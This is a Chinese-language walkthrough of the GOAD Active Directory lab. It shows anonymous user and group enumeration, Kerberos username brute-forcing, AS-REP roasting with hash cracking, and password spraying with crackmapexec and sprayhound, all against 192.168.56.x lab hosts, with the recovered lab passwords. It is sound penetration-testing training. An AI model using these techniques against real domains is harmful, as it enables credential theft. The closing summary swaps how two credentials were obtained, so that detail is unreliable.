在game-of-active-directoryGOAD-part-1中进行了一些常规配置及端口信息收集后,学习下第二部分的内容,进行用户信息收集,尝试收集一些凭证信息。
vagrant up启动休眠的机器
CME 枚举#
DC02:192.168.56.11
cme smb 192.168.56.11 --users
Samwell Tarly 用户有提示,Password : Heartsbane
获取域密码策略
crackmapexec smb 192.168.56.11 --pass-pol
查看密码策略,5 分钟内登录失败 5 次,则锁定五分钟
enum4linux 枚举#
enum4linux 192.168.56.11
enum4linux 也可以 cme 一样,枚举出用户信息
密码策略
还可以枚举出域组成员
rpc 调用#
匿名列表是通过在 winterfell 这台设备上(IP 地址为 192.168.56.11)执行远程过程调用来实现的,同样,我们也可以通过 rpcclient 工具直接进行这一操作。
$ rpcclient -U "NORTH\\" 192.168.56.11 -N
rpcclient $> enumdomusers
user:[Guest] rid:[0x1f5]
user:[arya.stark] rid:[0x456]
user:[sansa.stark] rid:[0x45a]
user:[brandon.stark] rid:[0x45b]
user:[rickon.stark] rid:[0x45c]
user:[hodor] rid:[0x45d]
user:[jon.snow] rid:[0x45e]
user:[samwell.tarly] rid:[0x45f]
user:[jeor.mormont] rid:[0x460]
user:[sql_svc] rid:[0x461]
rpcclient $> enumdomgroups
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[DnsUpdateProxy] rid:[0x44f]
group:[Stark] rid:[0x452]
group:[Night Watch] rid:[0x453]
group:[Mormont] rid:[0x454]
rpcclient $>
获取所有域用户
# 列出NORTH域中Domain Users组的成员,使用 IP 地址192.168.56.11连接,并使用匿名用户身份。
net rpc group members 'Domain Users' -W 'NORTH' -I '192.168.56.11' -U '%'
当不允许匿名会话时,列举 DC 的匿名会话#
Winterfell 域控制器允许匿名连接,这正是我们能够列出域用户和组的原因。然而,如今这种配置几乎不再出现。(相反,在用户描述中包含密码的情况相当常见。)
我们仍然可以通过暴力枚举来列举有效用户。
1、创建个字典
从 HBO 中下载的
# 目前这条命令已无法下载
curl -s https://www.hbo.com/game-of-thrones/cast-and-crew | grep 'href="/game-of-thrones/cast-and-crew/'| grep -o 'aria-label="[^"]*"' | cut -d '"' -f 2 | awk '{if($2 == "") {print tolower($1)} else {print tolower($1) "." tolower($2);} }' > got_users.txt
得到如下字典
robert.baratheon
tyrion.lannister
cersei.lannister
catelyn.stark
jaime.lannister
daenerys.targaryen
viserys.targaryen
jon.snow
robb.stark
sansa.stark
arya.stark
bran.stark
rickon.stark
joffrey.baratheon
jorah.mormont
theon.greyjoy
samwell.tarly
renly.baratheon
ros
jeor.mormont
gendry
lysa.arryn
robin.arryn
bronn
grand.maester
varys
loras.tyrell
shae
benjen.stark
barristan.selmy
khal.drogo
hodor
lancel.lannister
maester.luwin
alliser.thorne
osha
maester.aemon
talisa.stark
brienne.of
davos.seaworth
tywin.lannister
stannis.baratheon
margaery.tyrell
ygritte
balon.greyjoy
roose.bolton
gilly
podrick.payne
melisandre
yara.greyjoy
jaqen.h’ghar
grey.worm
beric.dondarrion
missandei
mance.rayder
tormund
ramsay.snow
olenna.tyrell
thoros.of
orell
qyburn
brynden.tully
tommen.baratheon
daario.naharis
oberyn.martell
myrcella.baratheon
obara.sand
nym.sand
tyene.sand
high.sparrow
trystane.martell
doran.martell
euron.greyjoy
lady.crane
high.priestess
randyll.tarly
izembaro
brother.ray
archmaester.ebrose
让我们尝试在 meereen.essos.local
域控制器和 kingslanding.sevenkingdoms.local
上使用这个用户字典。
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='sevenkingdoms.local',userdb=got_users.txt" 192.168.56.10
在 sevenkingdoms.local 上得到了 7 个可用的用户
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='essos.local',userdb=got_users.txt" 192.168.56.12
essos.local 发现了 5 个可用的用户
在nmap的页面上可以看到:
通过尝试各种可能的用户名来识别有效的用户名,并对 Kerberos 服务进行查询。如果请求的用户名不存在,服务器会返回 Kerberos 错误代码KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN
,这样我们就可以知道该用户名是无效的。如果用户名有效,服务器会通过 AS-REP 响应发送 TGT,或者返回错误KRB5KDC_ERR_PREAUTH_REQUIRED
,这表示用户需要进行预认证。
总的来说,暴力破解用户密码时,badpwdcount 的数值并不会上升(用 crackmapexec 看不到 badpwdcount 的数值)。
smb 共享#
看看 smb 共享
找匿名共享
cme smb 192.168.56.10-23 -u 'a' -p '' --shares
发现了一些可以进行读取和写入操作的匿名共享资源。
现在有用户,但是没有凭证#
我们现在已经拥有了用户列表,下一步是尝试获取他们的密码。
ASREP - roasting#
根据之前查找的用户名创建了一个 users.txt 文件,其中包含了之前在 north.sevenkingdoms.local 上发现的所有用户名。
sql_svc
jeor.mormont
samwell.tarly
jon.snow
hodor
rickon.stark
brandon.stark
sansa.stark
robb.stark
catelyn.stark
eddard.stark
arya.stark
krbtgt
vagrant
Guest
Administrator
现在可以尝试利用 impacket 工具对所有用户执行 AS-REP 攻击。
GetNPUsers.py north.sevenkingdoms.local/ -no-pass -usersfile users.txt
我们为 brandon.stark 账户取得了访问权限,尝试破解它,因为用户并没有启用 Kerberos 预认证机制。
hashcat -m 18200 hashs.txt rockyou.txt
现在得到两个账号密码
brandon.stark:iseedeadpeople
Samwell Tarly:Heartsbane
Password Spray#
我们可以进行传统的用户名和密码验证测试。
crackmapexec smb 192.168.56.11 -u user.txt -p user.txt --no-bruteforce
可以使用sprayhound
安装 sprayhound
sudo apt-get install libsasl2-dev python3-dev libldap2-dev libssl-dev
git clone https://github.com/Hackndo/sprayhound.git
cd sprayhound
python3 setup.py install
sprayhound -U user.txt -d north.sevenkingdoms.local -dc 192.168.56.11 --lower
我们可以使用一个有效的用户身份来尝试规避账户锁定的问题(通过 -t 选项来设定剩余的尝试机会)。
sprayhound -U user.txt -d north.sevenkingdoms.local -dc 192.168.56.11 -lu hodor -lp hodor --lower -t 2
现在获得了三组凭证,分别为:
- brandon.stark(通过用户描述获的)
- Samwell Tarly(通过 asreproasting 获的)
- hodor(通过密码喷射获的)
这一章结束,使用vagrant suspend
暂停虚拟机,需要在虚拟环境的/GOAD/ad/GOAD/providers/virtualbox
下运行 vagrant
参考:
https://mayfly277.github.io/posts/GOADv2-pwning-part2/
封面图来自:https://wallhaven.cc/w/3lj6z9